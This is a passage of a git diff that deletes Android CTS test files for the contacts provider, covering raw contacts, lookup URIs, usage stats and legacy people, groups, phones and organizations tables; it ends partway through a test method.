-                Contacts.CUSTOM_RINGTONE,
-                Contacts.HAS_PHONE_NUMBER,
-                Contacts.SEND_TO_VOICEMAIL,
-                Contacts.IS_USER_PROFILE,
-                Contacts.LOOKUP_KEY,
-                Contacts.NAME_RAW_CONTACT_ID,
-                Contacts.CONTACT_PRESENCE,
-                Contacts.CONTACT_CHAT_CAPABILITY,
-                Contacts.CONTACT_STATUS,
-                Contacts.CONTACT_STATUS_TIMESTAMP,
-                Contacts.CONTACT_STATUS_RES_PACKAGE,
-                Contacts.CONTACT_STATUS_LABEL,
-                Contacts.CONTACT_STATUS_ICON,
-                Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
-        };
-
-        // Contacts.CONTENT_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.CONTENT_URI,
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-
-        // Contacts.CONTENT_FILTER_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-
-        // Contacts.CONTENT_FILTER_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx")
-                        .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
-                                String.valueOf(Directory.DEFAULT)).build(),
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-
-        // Contacts.CONTENT_LOOKUP_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.getLookupUri(contactId, lookupKey),
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-    }
-
-    /**
-     * Create a contact.  Delete it.  And assert that the contact record is no longer present.
-     *
-     * @return The contact id and raw contact id that was created.
-     */
-    private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        SystemClock.sleep(1);
-        ContactUtil.delete(mResolver, ids.mContactId);
-
-        assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
-
-        return ids;
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
deleted file mode 100644
index 89889f7..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-public class ContactsContract_RawContactsTest extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
-            RawContacts._ID,
-            RawContacts.CONTACT_ID,
-            RawContacts.DELETED,
-            RawContacts.DISPLAY_NAME_PRIMARY,
-            RawContacts.DISPLAY_NAME_ALTERNATIVE,
-            RawContacts.DISPLAY_NAME_SOURCE,
-            RawContacts.PHONETIC_NAME,
-            RawContacts.PHONETIC_NAME_STYLE,
-            RawContacts.SORT_KEY_PRIMARY,
-            RawContacts.SORT_KEY_ALTERNATIVE,
-            RawContacts.TIMES_CONTACTED,
-            RawContacts.LAST_TIME_CONTACTED,
-            RawContacts.CUSTOM_RINGTONE,
-            RawContacts.SEND_TO_VOICEMAIL,
-            RawContacts.STARRED,
-            RawContacts.PINNED,
-            RawContacts.AGGREGATION_MODE,
-            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
-            RawContacts.ACCOUNT_NAME,
-            RawContacts.ACCOUNT_TYPE,
-            RawContacts.DATA_SET,
-            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
-            RawContacts.DIRTY,
-            RawContacts.SOURCE_ID,
-            RawContacts.BACKUP_ID,
-            RawContacts.VERSION,
-            RawContacts.SYNC1,
-            RawContacts.SYNC2,
-            RawContacts.SYNC3,
-            RawContacts.SYNC4
-    };
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testGetLookupUriBySourceId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-
-        // TODO remove this. The method under test is currently broken: it will not
-        // work without at least one data row in the raw contact.
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), rawContact.load().getContactId());
-    }
-
-    public void testGetLookupUriByDisplayName() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), rawContact.load().getContactId());
-    }
-
-    public void testRawContactDelete_setsDeleteFlag() {
-        long rawContactid = RawContactUtil.insertRawContact(mResolver,
-                StaticAccountAuthenticator.ACCOUNT_1);
-
-        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        RawContactUtil.delete(mResolver, rawContactid, false);
-
-        String[] projection = new String[]{
-                ContactsContract.RawContacts.CONTACT_ID,
-                ContactsContract.RawContacts.DELETED
-        };
-        String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
-                projection);
-
-        // Contact id should be null
-        assertNull(result[0]);
-        // Record should be marked deleted.
-        assertEquals("1", result[1]);
-    }
-
-    public void testRawContactDelete_removesRecord() {
-        long rawContactid = RawContactUtil.insertRawContact(mResolver,
-                StaticAccountAuthenticator.ACCOUNT_1);
-        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        RawContactUtil.delete(mResolver, rawContactid, true);
-
-        assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        // already clean
-    }
-
-
-    // This implicitly tests the Contact create case.
-    public void testRawContactCreate_updatesContactUpdatedTimestamp() {
-        long startTime = System.currentTimeMillis();
-
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-        long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
-                ids.mRawContactId);
-
-        assertTrue(lastUpdated > startTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        ContentValues values = new ContentValues();
-        values.put(ContactsContract.RawContacts.STARRED, 1);
-        RawContactUtil.update(mResolver, ids.mRawContactId, values);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        RawContactUtil.delete(mResolver, ids.mRawContactId, false);
-
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
-        // clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactDelete_hasDeleteLogForContact() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
-        // already clean
-    }
-
-    private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
-            long rawContactId) {
-        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
-        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
-
-        return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
-    }
-
-    public void testProjection() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
-                RAW_CONTACTS_PROJECTION,
-                new long[]{rawContact.getId()}
-        );
-    }
-
-    public void testInsertUsageStat() throws Exception {
-        // Note we no longer support contact affinity as of Q, so times_contacted and
-        // last_time_contacted are always 0, and "frequent" is always empty.
-
-        final long now = System.currentTimeMillis();
-        {
-            TestRawContact rawContact = mBuilder.newRawContact()
-                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                    .with(RawContacts.ACCOUNT_NAME, "test_name")
-                    .with(RawContacts.TIMES_CONTACTED, 12345)
-                    .with(RawContacts.LAST_TIME_CONTACTED, now)
-                    .insert();
-
-            rawContact.load();
-            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-        }
-
-        {
-            TestRawContact rawContact = mBuilder.newRawContact()
-                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                    .with(RawContacts.ACCOUNT_NAME, "test_name")
-                    .with(RawContacts.TIMES_CONTACTED, 5)
-                    .insert();
-
-            rawContact.load();
-            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-        }
-        {
-            TestRawContact rawContact = mBuilder.newRawContact()
-                    .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                    .with(RawContacts.ACCOUNT_NAME, "test_name")
-                    .with(RawContacts.LAST_TIME_CONTACTED, now)
-                    .insert();
-
-            rawContact.load();
-            assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-            assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-        }
-    }
-
-    public void testUpdateUsageStat() throws Exception {
-        ContentValues values = new ContentValues();
-
-        final long now = System.currentTimeMillis();
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.TIMES_CONTACTED, 12345)
-                .with(RawContacts.LAST_TIME_CONTACTED, now)
-                .insert();
-
-        rawContact.load();
-        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-
-        values.clear();
-        values.put(RawContacts.TIMES_CONTACTED, 99999);
-        RawContactUtil.update(mResolver, rawContact.getId(), values);
-
-        rawContact.load();
-        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-
-        values.clear();
-        values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
-        RawContactUtil.update(mResolver, rawContact.getId(), values);
-
-        rawContact.load();
-        assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
-        assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
deleted file mode 100644
index 8735c5a..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
+++ /dev/null
@@ -1,911 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.drawable.BitmapDrawable;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.CallLog;
-import android.provider.CallLog.Calls;
-import android.provider.Contacts;
-import android.provider.Contacts.ContactMethods;
-import android.provider.Contacts.Extensions;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.Organizations;
-import android.provider.Contacts.People;
-import android.provider.Contacts.PeopleColumns;
-import android.provider.Contacts.Phones;
-import android.provider.Contacts.Photos;
-import android.provider.Contacts.Settings;
-import android.provider.ContactsContract;
-import android.telephony.PhoneNumberUtils;
-import android.test.InstrumentationTestCase;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Date;
-
-public class ContactsTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private ContentProviderClient mProvider;
-    private ContentProviderClient mCallLogProvider;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-        mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's people table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPeopleTable() {
-        final String[] PEOPLE_PROJECTION = new String[] {
-                People._ID,
-                People.NAME, People.NOTES, People.TIMES_CONTACTED,
-                People.LAST_TIME_CONTACTED, People.STARRED,
-                People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
-        final int ID_INDEX = 0;
-        final int NAME_INDEX = 1;
-        final int NOTES_INDEX = 2;
-        final int TIMES_CONTACTED_INDEX = 3;
-        final int LAST_TIME_CONTACTED_INDEX = 4;
-        final int STARRED_INDEX = 5;
-        final int CUSTOM_RINGTONE_INDEX = 6;
-        final int SEND_TO_VOICEMAIL_INDEX = 7;
-
-        String insertPeopleName = "name_insert";
-        String insertPeopleNotes = "notes_insert";
-        String updatePeopleName = "name_update";
-        String updatePeopleNotes = "notes_update";
-
-        try {
-            mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
-                    new String[] {insertPeopleName});
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, insertPeopleName);
-            value.put(PeopleColumns.NOTES, insertPeopleNotes);
-            value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
-            value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
-            value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
-
-            Uri uri = mProvider.insert(People.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(People.CONTENT_URI,
-                    PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
-                    new String[] {insertPeopleName}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
-            assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
-            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
-            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
-            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
-            assertEquals(0, cursor.getInt(STARRED_INDEX));
-            // TODO: Figure out what can be tested for the SYNC_* columns
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            long now = new Date().getTime();
-            value.put(PeopleColumns.NAME, updatePeopleName);
-            value.put(PeopleColumns.NOTES, updatePeopleNotes);
-            value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    "people._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
-            assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX)); // Not supported by CP1
-            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
-            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX)); // Not supported by CP1
-            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
-            assertEquals(0, cursor.getInt(STARRED_INDEX));
-            // TODO: Figure out what can be tested for the SYNC_* columns
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    "people._id" + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's groups table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testGroupsTable() {
-        final String[] GROUPS_PROJECTION = new String[] {
-                Groups._ID, Groups.NAME, Groups.NOTES,
-                Groups.SYSTEM_ID};
-        final int ID_INDEX = 0;
-        final int NAME_INDEX = 1;
-        final int NOTES_INDEX = 2;
-        final int SYSTEM_ID_INDEX = 3;
-
-        String insertGroupsName = "name_insert";
-        String insertGroupsNotes = "notes_insert";
-        String updateGroupsNotes = "notes_update";
-        String updateGroupsSystemId = "system_id_update";
-
-        try {
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(GroupsColumns.NAME, insertGroupsName);
-            value.put(GroupsColumns.NOTES, insertGroupsNotes);
-            value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
-
-            Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(Groups.CONTENT_URI,
-                    GROUPS_PROJECTION, Groups._ID + " = ?",
-                    new String[] {uri.getPathSegments().get(1)}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
-            assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(GroupsColumns.NOTES, updateGroupsNotes);
-            value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
-
-            assertEquals(1, mProvider.update(uri, value, null, null));
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups._ID + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
-            assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            assertEquals(1, mProvider.delete(uri, null, null));
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's photos table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPhotosTable() {
-        final String[] PHOTOS_PROJECTION = new String[] {
-                Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
-                Photos.LOCAL_VERSION, Photos.DATA,
-                Photos.SYNC_ERROR};
-        final int ID_INDEX = 0;
-        final int EXISTS_ON_SERVER_INDEX = 1;
-        final int PERSON_ID_INDEX = 2;
-        final int LOCAL_VERSION_INDEX = 3;
-        final int DATA_INDEX = 4;
-        final int SYNC_ERROR_INDEX = 5;
-
-        String updatePhotosLocalVersion = "local_version1";
-
-        try {
-            Context context = getInstrumentation().getTargetContext();
-            InputStream inputStream = context.getResources().openRawResource(
-                    android.provider.cts.R.drawable.testimage);
-            int size = inputStream.available();
-            byte[] data =  new byte[size];
-            inputStream.read(data);
-            BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
-                    android.provider.cts.R.drawable.testimage);
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(Photos.PERSON_ID, 1);
-            value.put(Photos.LOCAL_VERSION, "local_version0");
-            value.put(Photos.DATA, data);
-            try {
-                mProvider.insert(Photos.CONTENT_URI, value);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct insert operation to photos URI.
-            }
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        } catch (IOException e) {
-            fail("Unexpected IOException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's phones table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testPhonesTable() {
-        final String[] PHONES_PROJECTION = new String[] {
-                Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
-                Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int TYPE_INDEX = 2;
-        final int NUMBER_INDEX = 3;
-        final int NUMBER_KEY_INDEX = 4;
-        final int LABEL_INDEX = 5;
-        final int ISPRIMARY_INDEX = 6;
-
-        String insertPhonesNumber = "0123456789";
-        String updatePhonesNumber = "987*654yu3211+";
-        String customeLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_phones_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Phones.PERSON_ID, peopleId);
-            value.put(Phones.TYPE, Phones.TYPE_HOME);
-            value.put(Phones.NUMBER, insertPhonesNumber);
-            value.put(Phones.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(Phones.CONTENT_URI,
-                    PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
-            assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
-                    cursor.getString(NUMBER_KEY_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
-            value.put(Phones.NUMBER, updatePhonesNumber);
-            value.put(Phones.LABEL, customeLabel);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
-                    "phones._id = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
-                    cursor.getString(NUMBER_KEY_INDEX));
-            assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
-                    Phones.PERSON_ID + " = " + peopleId, null, null, null);
-            assertEquals(0, cursor.getCount());
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's organizations table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testOrganizationsTable() {
-        final String[] ORGANIZATIONS_PROJECTION = new String[] {
-                Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
-                Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
-                Organizations.PERSON_ID};
-        final int ID_INDEX = 0;
-        final int COMPANY_INDEX = 1;
-        final int TITLE_INDEX = 2;
-        final int ISPRIMARY_INDEX = 3;
-        final int TYPE_INDEX = 4;
-        final int LABEL_INDEX = 5;
-        final int PERSON_ID_INDEX = 6;
-
-        String insertOrganizationsCompany = "company_insert";
-        String insertOrganizationsTitle = "title_insert";
-        String updateOrganizationsCompany = "company_update";
-        String updateOrganizationsTitle = "title_update";
-        String customOrganizationsLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_organizations_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Organizations.COMPANY, insertOrganizationsCompany);
-            value.put(Organizations.TITLE, insertOrganizationsTitle);
-            value.put(Organizations.TYPE, Organizations.TYPE_WORK);
-            value.put(Organizations.PERSON_ID, peopleId);
-            value.put(Organizations.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
-                    Organizations.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
-            assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Organizations.COMPANY, updateOrganizationsCompany);
-            value.put(Organizations.TITLE, updateOrganizationsTitle);
-            value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
-            value.put(Organizations.LABEL, customOrganizationsLabel);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
-                    "organizations._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
-            assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
